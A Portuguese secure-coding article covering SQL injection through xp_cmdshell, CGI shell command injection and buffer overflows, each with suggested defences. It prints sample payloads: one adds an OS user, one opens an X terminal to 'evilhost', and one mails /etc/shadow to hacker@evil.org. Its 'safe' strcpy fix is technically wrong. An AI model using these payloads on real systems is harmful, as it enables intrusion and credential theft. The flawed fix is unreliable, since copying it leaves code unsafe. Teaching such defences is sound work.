(Com Victor Pereira)
Publicado no site Modulo.com.br
No artigo da semana passada falamos um pouco sobre o problema das falhas de
segurança no desenvolvimento de aplicações. Recebemos alguns e-mails pedindo
mais detalhes, mostrando que realmente existe pouco conhecimento no meio sobre
o assunto. Desta vez falaremos mais detalhadamente sobre algumas dessas falhas,
mostrando também qual a melhor forma de evita-las.
SQL Server e ASP
Com a estratégia de preços agressiva da Microsoft para o seu produto
gerenciador de Banco de Dados, diversos sites optaram pelo SQL Server como base
para seus sistemas de e-commerce. Em muitos casos, porém, o produto foi instalado
por profissionais cuja especialidade não é gerenciadores de banco de dados. São desenvolvedores que aprendem o básico do produto para
poder fazer testes e montar um laboratório de desenvolvimento. Ocorre que, como
todo produto da Microsoft, o SQL Server vem com uma configuração inicial com
baixo nível de segurança, para facilitar o uso por pessoas menos experientes e
permitir uma implementação rápida.
Ao ser utilizado como base para sistemas conectados à Internet, um SQL Server
com essa configuração, aliado a aplicações defeituosas, pode ser a porta de
entrada para uma invasão da rede. Em casos mais triviais, o acesso direto ao
sistema de banco de dados pode ser feito através do usuário administrador do
banco de dados, o SA, que na instalação padrão não tem senha configurada. Em
resumo, em uma instalação padrão qualquer um que tenha acesso ao servidor de
banco de dados poderá faze-lo como administrador dos
dados. Acesso completo. O problema é ainda maior devido à existência de Stored
Procedures (rotinas pré-fabricadas de uso do banco de dados) que já vem instaladas e que podem, entre outras coisas, executar
comandos do sistema operacional. Sendo assim, como o usuário administrador do
SQL Server é também um usuário administrador do sistema operacional, através do
acesso privilegiado ao banco de dados obtem-se acesso completo ao servidor onde
o software está instalado.
Mas afinal, o que isso tem a ver com as aplicações? Tudo! Afinal de contas, as
aplicações acessam o banco de dados para consulta ou entrada de informações. No
caso da dupla ASP/SQL Server, o acesso costuma ser feito através de consultas
utilizando a linguagem SQL. Justamente através do SQL é que podemos acessar as
Stored Procedures do SQL Server. O problema maior acontece quando as consultas são
montadas com dados fornecidos pelos usuários. Teremos algo parecido com o
exemplo abaixo:
SQLString = “SELECT * FROM PRODUTOS WHERE NOME = ‘”
& Request.form(“produto”) & “’”
Para quem não conhece ASP, na linha acima estamos montando uma consulta SQL que
listara todos os registros da tabela PRODUTOS onde o campo NOME é igual ao
conteúdo do campo de formulário HTML “produto”. Uma informação vinda
diretamente do browser do usuário. Se o usuário digitou “bicicleta”, por
exemplo, teríamos a seguinte consulta montada:
SELECT * FROM PRODUTOS WHERE NOME=’bicicleta’
Nada de extraordinário até esse ponto. Começaremos a ver a implicação do que
fizemos acima se analisarmos algumas características da linguagem SQL. Um dos recursos disponíveis, por exemplo, é o uso do caractere “;”
para a execução de mais de uma consulta na mesma linha. Qual seria o resultado,
então, se o usuário digitasse a seguinte informação no formulário:
xx’ ; exec master..xp_cmdshell ‘net user hacker hacker
/add’
A consulta, montada de acordo com o que fizemos mais acima, resultaria no
seguinte:
SELECT * FROM PRODUTOS WHERE NOME=’xx’ ; exec master..xp_cmdshell ‘net user
hacker hacker /add’
A Stored Procedure xp_cmdshell envia um comando para ser executado diretamente
pelo sistema operacional. Sendo assim, estamos fazendo o SQL Server executar um
comando que criará um usuário no servidor. Como estou, nesse exemplo, supondo
que a aplicação está acessando o banco como usuário SA (prática extremamente
comum, é a forma mais fácil de se implementar), posso
não apenas criar um usuário como também adiciona-lo no grupo de
administradores. O Servidor foi comprometido.
O exemplo acima não é apenas hipotético, pois como a maioria dos livros sobre o
assunto não tratam da questão da segurança, muitas vezes os próprios exemplos
contidos nos livros já são vulneráveis. Os programadores estão aprendendo que
fazer dessa maneira e correto! O resultado funcionará como desejado nos casos
em que o usuário faz apenas aquilo que deve fazer, mas deixa a desejar quando o
objetivo é comprometer o sistema.
A solução para o problema, porém, é extremamente simples. Diversas ações podem
ser feitas com o intuito de eliminar o problema. O ideal é agir em mais de uma
frente, adicionando mais de uma camada de segurança e reduzindo as
possibilidades de ataque. Uma das mais importantes é a configuração do SQL
Server. Um gerenciador de banco de dados bem configurado pode reduzir bastante
o que o usuário mal intencionado pode fazer. Como nosso foco no momento é o
desenvolvimento, vamos estudar quais as melhores opções de defesa dentro da
aplicação.
Nunca, mas nunca mesmo, confie nos dados enviados pelo usuário. Não estamos
dizendo que seu usuário ou cliente não é boa pessoa ou qualquer coisa do tipo,
mas sim que nem sempre podemos ter certeza que a pessoa na outra ponta tem
autorização para usar o sistema ou mesmo se quer utilizar o sistema. Em casos
de ataques a sites de comércio eletrônico o uso do sistema é apenas um caminho
para o comprometimento do servidor. Sendo assim, tudo aquilo que vem do
browser, desde o conteúdo dos cookies, o que foi preenchido em formulários
(inclusive campos hidden) ou mesmo informações contidas na URL (normalmente
devido à utilização do método GET) deve ser checado. Essa checagem inclui a
eliminação de caracteres especiais (por que alguém utilizaria
“;”, “’” ou “ em um campo para digitar o nome?), tags HTML ou ASP
(normalmente tentativas de ataques de cross-site scripting), truncagem de
informações com tamanho maior que o limite (falaremos mais sobre isso mais
adiante) e checagem do formato de dados (validação de formato de telefone, CPF,
número de cartão de crédito, etc). Esses cuidados são importantes, mas não são
os únicos que devem ser tomados, pois os tipos de entradas malignas existentes
vão depender das tecnologias e produtos utilizados pelo sistema.
Outras ações que podem ser tomadas visam reduzir os privilégios de acesso (se é
um site de consulta, por que o usuário utilizado para acesso ao banco de dados
tem acesso de escrita?) e a forma como o banco de dados pode ser acessado
(Stored Procedures). A dica genérica para o desenvolvimento de aplicações
seguras vale para toda plataforma, SQL Server/ASP inclusive. Verifique tudo que
a aplicação recebe, e uma boa parte do problema está resolvida.
CGI
Outra forma de desenvolver sistemas na Internet é através de CGIs. CGIs são
aplicações que recebem informações de forma padronizada através do Web Server
(normalmente enviadas pelo usuário) e cuja saída é diretamente repassada ao
browser do usuário. As mesmas recomendações dadas para as aplicações em ASP
valem para os sistemas
snprintf (2048, svar, "echo '%s' | /bin/mail -s 'website feedback'
webmaster@localhost");
system (svar);
No exemplo acima o conteúdo de uma variável está sendo automaticamente enviado
por e-mail para webmaster@localhost. Para que isso seja feito monta-se uma
linha que será executada pelo sistema operacional (a
função system). Nesse caso existe o mesmo risco que foi demonstrado no caso da
consulta SQL. Abaixo temos um exemplo de conteúdo maligno para a variável
citada:
' | export DISPLAY=evilhost:0 && xterm & |
echo 'hacked'
Com isso, a variável svar, que será executada pelo Shell, será a seguinte:
"echo ' ' | export DISPLAY=evilhost:0 && xterm & | echo
'hacked' | /bin/mail -s
'website feedback' webmaster@localhost"
Ao ser executado, o comando não apenas enviará o e-mail mas também exportará um
display para a máquina do atacante.
O problema é agravado devido ao costume de utilizar-se aplicações CGI com
permissões de usuário root. Isso é possível através do SUID bit, que não de vê
ser usado em situações que não requeiram acessos privilegiados.
Em outras situações, as aplicações utilizam informações provenientes da URL
chamada ou de campos HIDDEN do formulário para acessar outros arquivos no
disco. São nestas situações em que utiliza-se o “..”
para fazer com que a aplicação acesse arquivos fora da área protegida pelo Web
Server. Isso pode ser constatado no exemplo abaixo:
<html>
<head>
<title>
CGI FORM TEST
</title>
</head>
<body bgcolor=#FFFFFF>
<form method = "POST" action="/cgi-bin/form.cgi">
<h2>FORMULARIO</h2>
Digite Seu email: <input name="name"><p>
Digite aqui sua mensagem: <input type="text"
name="msg">
<input type="hidden" Name="webmaster"
Value="webmaster@meusite.org">
Mande sua msg: <input type="submit" value="here">
</form>
</body>
</html>
Um usuário mal intencionado poderia copiar o arquivo acima para sua maquina
local e alterar alguns campos:
<input type="hidden" Name="webmaster"
Value="webmaster@meusite.org;mail hacker@evil.org <
/etc/shadow">
Lembrando que o arquivo “shadow” apenas pode ser enviado caso a aplicação em
questão estivesse sendo executada com o SUID bit habilitado. Se a aplicação
form.cgi fizer a chamada ao sendmail como demonstrado
abaixo, a vulnerabilidade pode ser explorada:
system("/usr/sbin/sendmail $webmaster < $msg");
Vale lembrar que não é apenas a chamada system() que passa informações para a
shell. Em Perl (linguagem muito usada no desenvolvimento de CGI) isso também é
possível faze-lo ao abrir um pipe, usar backsticks (`) ou chamar a função exec,
como neste outro exemplo:
open(OUT,"|programa $args");
`programa $args`;
exec("programa $args");
Em C, a chamada popen(3) também chama a Shell:
popen("programa","w");
A solução para os problemas acima é a mesma apresentada para as soluções em
ASP: Filtrar toda a entrada de dados. No caso de CGI, há ainda algumas formas
adicionais de entrada de dados, como as variáveis de ambiente (HTTP_REFERER,
por exemplo), que além de poderem servir de porta de entrada para conteúdo
maligno, também podem ser forjadas. Controles de origem baseados nessas
variáveis, portanto, não são confiáveis e podem ser driblados.
Na plataforma UNIX outros cuidados adicionais podem e devem ser tomados para
evitar que uma falha em aplicação possa ser explorada. As permissões dos
arquivos devem estar cuidadosamente configuradas, e o recurso de chroot, que
permite isolar um pedaço do sistema de arquivos para acesso público, deve ser implementado sempre que possível. Praticamente todos os
sistemas operacionais trazem recursos como estes que podem reduzir o dano
causado por um ataque que explore uma aplicação. É tarefa dos administradores
conhece-los e, é claro, usa-los.
Buffer Overflows
Existem problemas que acontecem devido às falhas de segurança em aplicações que
são independentes da plataforma de desenvolvimento ou do sistema operacional.
Talvez aquele que traga mais risco é o estouro de buffer (buffer overflow).
Buffer overflow nada mais é do que uma condição em um programa onde em um
determinado momento tenta-se copiar mais dados dentro de um buffer do que ele
pode suportar. Isso acontece no exemplo abaixo:
char input[]="aaaaaaaaaaaa";
char buffer[10];
strcpy(buffer,input);
O exemplo acima irá causar um "segmentation fault", pois estamos
copiando 12 bytes para um buffer que consegue armazenar apenas 11 bytes. Uma
versão segura do exemplo acima seria:
char input[]="aaaaaaaaaaaa";
char buffer[10];
strcpy(buffer,input,sizeof(buffer));
Desta vez será copiada apenas a quantidade esperada de bytes. Infelizmente são
poucos os programadores que tem a preocupação de verificar tudo o que chega por
um processo de entrada de dados, seja ele via URL, formulários (no caso de um
CGI), ou como argumento (utilitários , daemons).
No caso de um buffer overflow ocorrer, o que acontece com os bytes que
“transbordam” do buffer? Abaixo segue um exemplo de como o buffer do primeiro
exemplo poderia ser representado, assim como sua posição na memória:
Buffer sfp ret
[AAAAAAAAAA][xxxx][xxxx]
Esta é uma parte do Stack, estrutura de dados utilizada para armazenar
informações temporárias ou de controle de fluxo do programa. Basicamente nos
temos 10 bytes de buffer (9 + um caractere NULL, que representa o final da
string); Logo na seqüência do Stack existem 4 bytes de
stack frame e 4 bytes de endereço de retorno, que será utilizado pelo programa
em seu controle de fluxo (para onde voltar depois de ter executado uma
subrotina, por exemplo).
Quando a função strcpy() é chamada, o stack frame é alocado para o buffer e o
endereço de retorno nesse stack frame armazena a instrução que viria logo após
a chamada strcpy(). O que poderia acontecer se por algum motivo o endereço de
retorno fosse alterado e ao invés de apontar para a instrução apos o strcpy
apontasse para um outro endereço especifico na
memoria?
Levando em conta que é comum que alguns programas (principalmente daemons)
sejam executados com diretos de administrador, se o endereço de retorno apontar
para um shellcode (pedaço de código que pode, por exemplo, abrir uma shell, para o usuário do programa), o usuário rodando uma
aplicação com tal falha poderia obter um acesso Shell (linha de comando do
sistema operacional - bash, por exemplo) com direitos de administrador.
Além da verificação do tamanho dos dados antes de inseri-los em buffers,
pode-se ainda utilizar sistemas de proteção de Stack, que evitam que shellcodes
inseridos nos buffers possam ser executados. Embora sejam “remendos” para o
problema e podem ser driblados em certas ocasiões, é uma camada de proteção
adicional e que deve ser levada em consideração no momento de implementação do sistema.
Existem ainda várias outras situações onde falhas em aplicações podem ser
exploradas para se obter acesso não autorizado ou para danificar o sistema. A
melhor maneira de evitar tais situações, no entanto, é o desenvolvimento
consciente, onde os desenvolvedores conhecem os perigos existentes e as
melhores maneiras de evita-los. Encontrar falhas em
aplicações em produção é um processo caro e que nem sempre testa todas as
possibilidades. O tratamento das falhas no momento de desenvolvimento,
portanto, é a melhor maneira de se evita-las. O envolvimento de um profissional
de segurança da informação nas etapas de projeto, desenvolvimento e teste da
aplicação é essencial para que o produto final esteja livre de tais falhas. Não
podemos nunca esquecer também que, por mais consistente que tenha sido o
desenvolvimento da aplicação, é importante que o ambiente onde ela será executada esteja bem projetado e configurado de acordo
com os conceitos de segurança.